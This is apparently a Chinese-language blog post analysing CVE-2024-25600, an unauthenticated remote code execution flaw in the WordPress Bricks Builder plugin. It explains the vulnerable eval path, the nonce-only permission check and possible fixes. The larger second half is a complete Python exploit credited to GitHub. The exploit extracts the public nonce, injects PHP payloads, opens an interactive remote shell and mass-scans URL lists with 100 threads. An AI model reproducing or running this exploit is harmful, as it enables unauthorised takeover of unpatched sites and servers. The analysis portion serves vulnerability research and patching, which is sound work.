WordPress未经身份验证的远程代码执行CVE-2024-25600漏洞分析
WordPress未经身份验证的远程代码执行CVE-2024-25600漏洞分析
Bricks <= 1.9.6 容易受到未经身份验证的远程代码执行 (RCE) 的攻击,这意味着任何人都可以运行任意命令并接管站点/服务器。
受影响插件:Bricks Builder
漏洞存在版本:<=1.9.6
补丁版本:1.9.6.1
一、分析
Bricks\Query类用于管理WordPress POST请求后的显示
它包含以下脆弱方法
public static function prepare_query_vars_from_settings( $settings = [], $fallback_element_id = '' )
{
// CUT OUT FOR CLARITY
$execute_user_code = function () use ( $php_query_raw ) {
$user_result = null; // Initialize a variable to capture the result of user code
// Capture user code output using output buffering
ob_start();
$user_result = eval( $php_query_raw ); // Execute the user code
ob_get_clean(); // Get the captured output
return $user_result; // Return the user code result
};
// CUT OUT FOR CLARITY
}
其中$user_result = eval( php_query_raw被传递至eval函数,这是非常危险的。
为了利用这一点,我们需要找到一种方法,让 Bricks 使用用户控制的 $php_query_raw 输入来调用上述代码。
该prepare_query_vars_from_settings
方法始终在类的构造函数中调用Bricks\Query
。
这个类在许多地方被使用和实例化。
检查每一个调用的方法不合理,但可以关注Bricks\Ajax::render_element($element)
Bricks使用它来显示编辑器的预览
大致内容如下我删除了一些不相关的内容
$loop_element = ! empty( $element['loopElement'] ) ? $element['loopElement'] : false;
$element = $element['element'];
if ( ! empty( $loop_element ) ) {
$query = new Query( $loop_element );
// CUT FOR BREVITY
}
$element_name = ! empty( $element['name'] ) ? $element['name'] : '';
$element_class_name = isset( Elements::$elements[ $element_name ]['class'] ) ? Elements::$elements[ $element_name ]['class'] : false;
if ( class_exists( $element_class_name ) ) {
$element_instance = new $element_class_name( $element );
}
该方法使用提供的参数创建一个新的 Query 实例,或者直接在第 5 行创建一个 Query 类。
也可以在第 14 行创建/渲染任何 Brick 的构建器元素,方法是省略“ loopElement ”参数并传递没有 .php 文件的元素的“名称”。
许多这些元素类也会在下游调用 new Query() 。还有一个代码元素可用于此漏洞利用,但在本文中,我们将重点关注第 5 行中的代码路径。
该方法可通过 admin-ajax.php 端点和 WordPress Rest API 调用。
此外,还包含以下权限检查逻辑
if ( bricks_is_ajax_call() && isset( $_POST ) ) {
self::verify_request();
}
elseif ( bricks_is_rest_call() ) {
// REST API (Permissions checked in the API->render_element_permissions_check())
}
Ajax::verify_request()
将检查当前用户是否有权访问 Bricks 构建器(os:这也不太行,因为低权限用户也可能有访问权限
但是,如果通过 REST API 调用此方法,Ajax::verify_request()
则不会调用。
代码注释:
REST API(在 API->render_element_permissions_check() 中检查权限)
表示此检查是否在 WP 的 REST API 的权限回调中执行。
// Server-side render (SSR) for builder elements via window.fetch API requests
register_rest_route(
self::API_NAMESPACE,
'render_element',
[
'methods' => 'POST',
'callback' => [ $this, 'render_element' ],
'permission_callback' => [ $this, 'render_element_permissions_check' ],
]
);
但是,检查render_element_permission_check方法,我们可以看到没有执行权限检查。
该方法仅检查请求是否包含有效的随机数,并且 WordPress 文档明确指出“永远不应依赖随机数进行授权”:
public function render_element_permissions_check( $request ) {
$data = $request->get_json_params();
if ( empty( $data['postId'] ) || empty( $data['element'] ) || empty( $data['nonce'] ) ) {
return new \WP_Error( 'bricks_api_missing', __( 'Missing parameters' ), [ 'status' => 400 ] );
}
$result = wp_verify_nonce( $data['nonce'], 'bricks-nonce' );
if ( ! $result ) {
return new \WP_Error( 'rest_cookie_invalid_nonce', __( 'Cookie check failed' ), [ 'status' => 403 ] );
}
return true;
}
因此,唯一剩下的先决条件是通过“bricks-nonce”操作获得有效的随机数。
即使用户未经过身份验证,Bricks 也会为前端中的每个请求输出有效的随机数。这可以在下面网站主页呈现的 HTML 中看到。
有一个脚本标记,其中包含一个“ bricksData
”对象,该对象除其他外还包含一个有效的随机数。
二、修复
快速修复很复杂,因为eval
的用户输入的功能被利用到后端的多个部分
当然,快速修复的方法是向 REST API 端点添加正确的权限检查。但这仍然留下了危险的功能,并且很可能通过其他方式调用它。
原则上任何人都不应该将任何内容传递到eval
.
至少,Bricks 使用的代码库中的两个实例eval
(查询类和代码块类)应该完全防范未经授权的、非管理员访问,并且输入必须经过严格验证。
解决方案是将签名与要使用 wp_hash() 评估的代码一起存储。这样,在运行时,可以确保没有人能够将代码注入数据库。
三、EXP
github上一位师傅提供的,也是我在本地复现时使用的,交互shell
import re
import warnings
import argparse
import requests
from rich.console import Console
from alive_progress import alive_bar
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
from bs4 import BeautifulSoup, MarkupResemblesLocatorWarning
from concurrent.futures import ThreadPoolExecutor, as_completed
warnings.filterwarnings("ignore", category=MarkupResemblesLocatorWarning, module="bs4")
warnings.filterwarnings(
"ignore", category=requests.packages.urllib3.exceptions.InsecureRequestWarning
)
class Code:
def __init__(self, url, payload_type, only_rce=False, verbose=True, pretty=False):
self.url = url
self.pretty = pretty
self.verbose = verbose
self.console = Console()
self.only_rce = only_rce
self.nonce = self.fetch_nonce()
self.payload_type = payload_type
def fetch_nonce(self):
try:
response = requests.get(self.url, verify=False, timeout=20)
response.raise_for_status()
soup = BeautifulSoup(response.text, "html.parser")
script_tag = soup.find("script", id="bricks-scripts-js-extra")
if script_tag:
match = re.search(r'"nonce":"([a-f0-9]+)"', script_tag.string)
if match:
return match.group(1)
except Exception:
pass
def send_request(self, postId="1", command="whoami"):
headers = {"Content-Type": "application/json"}
payload_command = f'throw new Exception(`{command}` . "END");'
base_element = {
"postId": postId,
"nonce": self.nonce,
}
query_settings = {
"useQueryEditor": True,
"queryEditor": payload_command,
}
payload_templates = {
"carousel": {
**base_element,
"element": {
"name": "carousel",
"settings": {"type": "posts", "query": query_settings},
},
},
"container": {
**base_element,
"element": {
"name": "container",
"settings": {"hasLoop": "true", "query": query_settings},
},
},
"generic": {
**base_element,
"element": "1",
"loopElement": {
"settings": {"query": query_settings},
},
},
"code": {
**base_element,
"element": {
"name": "code",
"settings": {
"executeCode": "true",
"code": f"<?php {payload_command} ?>",
},
},
},
}
json_data = payload_templates.get(self.payload_type)
if self.pretty:
endpoint = f"{self.url}/wp-json/bricks/v1/render_element"
else:
endpoint = f"{self.url}/?rest_route=/bricks/v1/render_element"
req = requests.post(
endpoint,
headers=headers,
json=json_data,
verify=False,
timeout=20,
)
return req
def process_response(self, response):
if response and response.status_code == 200:
try:
json_response = response.json()
html_content = json_response.get("data", {}).get("html", None)
except ValueError:
html_content = response.text
if html_content:
match = re.search(r"Exception: (.*?)END", html_content, re.DOTALL)
if match:
extracted_text = match.group(1).strip()
if extracted_text == "":
return True, html_content, False
else:
return True, extracted_text, True
else:
return True, html_content, False
return False, None, False
def interactive_shell(self):
session = PromptSession(history=InMemoryHistory())
self.custom_print("Shell is ready, please type your commands UwU", "!")
while True:
try:
cmd = session.prompt(HTML("<ansired><b># </b></ansired>"))
match cmd.lower():
case "exit":
break
case "clear":
self.console.clear()
case _:
response = self.send_request(command=cmd)
(
is_vuln,
response_content,
regex_success,
) = self.process_response(response)
if is_vuln and regex_success:
print(response_content, "\n")
else:
self.custom_print(
"No valid response received or target not vulnerable.",
"-",
)
except KeyboardInterrupt:
break
def check_vulnerability(self):
try:
response = self.send_request()
is_vuln, content, regex_success = self.process_response(response)
if is_vuln:
if regex_success:
self.custom_print(
f"{self.url} is vulnerable to CVE-2024-25600. Command output: {content}",
"+",
)
else:
self.custom_print(
f"{self.url} is vulnerable to CVE-2024-25600 with successful auth bypass, but RCE was not achieved.",
"!",
) if not self.only_rce else None
return True, content, regex_success
else:
self.custom_print(
f"{self.url} is not vulnerable to CVE-2024-25600.", "-"
) if self.verbose else None
return False, None, False
except Exception as e:
self.custom_print(
f"Error checking vulnerability: {e}", "-"
) if self.verbose else None
return False, None, False
def custom_print(self, message: str, header: str) -> None:
header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
self.console.print(
f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
)
def scan_url(url, payload_type, output_file=None, only_rce=False, pretty=False):
code_instance = Code(
url, payload_type=payload_type, only_rce=only_rce, verbose=False, pretty=pretty
)
if code_instance.nonce:
is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
if is_vuln and (not only_rce or is_rce_success):
if output_file:
with open(output_file, "a") as file:
file.write(f"{url}\n")
return True
return False
def main():
parser = argparse.ArgumentParser(
description="Check for CVE-2024-25600 vulnerability"
)
parser.add_argument(
"--url", "-u", help="URL to fetch nonce from and check vulnerability"
)
parser.add_argument(
"--list",
"-l",
help="Path to a file containing a list of URLs to check for vulnerability",
default=None,
)
parser.add_argument(
"--output",
"-o",
help="File to write vulnerable URLs to",
default=None,
)
parser.add_argument(
"--payload-type",
"-p",
choices=["carousel", "container", "generic", "code"],
default="code",
help="Type of payload to send (generic, code, carousel or container)",
)
parser.add_argument(
"--only-rce",
action="store_true",
help="Only display and record URLs where RCE is confirmed",
)
parser.add_argument(
"--pretty",
action="store_true",
help="Use pretty URLs (e.g., /wp-json/...) for requests",
)
args = parser.parse_args()
if args.list:
urls = []
with open(args.list, "r") as file:
urls = [line.strip() for line in file.readlines()]
with alive_bar(len(urls), enrich_print=False) as bar:
with ThreadPoolExecutor(max_workers=100) as executor:
future_to_url = {
executor.submit(
scan_url,
url,
args.payload_type,
args.output,
args.only_rce,
args.pretty,
): url
for url in urls
}
for future in as_completed(future_to_url):
future_to_url[future]
try:
future.result()
except Exception:
pass
finally:
bar()
elif args.url:
code_instance = Code(args.url, args.payload_type, pretty=args.pretty)
if code_instance.nonce:
code_instance.custom_print(f"Nonce found: {code_instance.nonce}", "*")
is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
if is_vuln and is_rce_success:
code_instance.interactive_shell()
elif is_vuln and not args.only_rce:
code_instance.custom_print(f"Debug:\n{html_content}", "!")
else:
code_instance.custom_print(f"No vulnerability found.", "-")
else:
code_instance.custom_print("Nonce not found.", "-")
else:
parser.print_help()
if __name__ == "__main__":
main()
- 点赞
- 收藏
- 关注作者
评论(0)